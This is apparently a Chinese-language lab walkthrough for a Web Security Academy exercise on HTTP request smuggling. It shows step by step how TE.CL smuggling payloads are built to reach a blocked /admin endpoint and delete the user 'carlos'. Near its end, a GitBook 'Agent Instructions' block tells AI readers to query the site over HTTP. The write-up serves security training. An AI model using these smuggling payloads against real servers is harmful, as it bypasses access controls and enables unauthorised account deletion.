> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/front-end-security-bypass-via-te-cl.md).
# 通过 TE.CL 绕过前端安全
### 利用 HTTP 请求走私绕过前端安全控制，TE.CL 漏洞
该系统基于前端服务器和后端服务器。/ 后端 **不处理分块编码**，而前端 **限制对 /admin 的访问**。/ 目标是 **伪装一条对 /admin 的请求** 以删除 carlos 用户。
尽管该应用支持 HTTP/2，但利用基于 HTTP/1 特有的技术。
#### **初步观察**
前端正确地解析 `Transfer-Encoding: chunked`。/ 我们首先发送一个简单请求：
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked
0
```
#### **走私请求的构造**
一个 **新的完整请求** 被注入到分块正文中。
#### **准备模型**
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 大小
Transfer-Encoding: chunked
大小
GET /admin HTTP/1.1
Host: localhost
Content-Length: 大小
test=testing
0
```
#### **大小调整**
最小 `Content-Length` 在前端一侧被固定，随后跟着一个包含走私请求的分块：
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
服务器正确解析了注入的请求。
#### **注入最终的删除 Carlos 请求**
目标请求被替换为一个删除用户的请求：
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
随后，这个走私请求会直接由后端处理，完全绕过前端过滤。
```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked
5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22
test=testing
0
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/front-end-security-bypass-via-te-cl.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.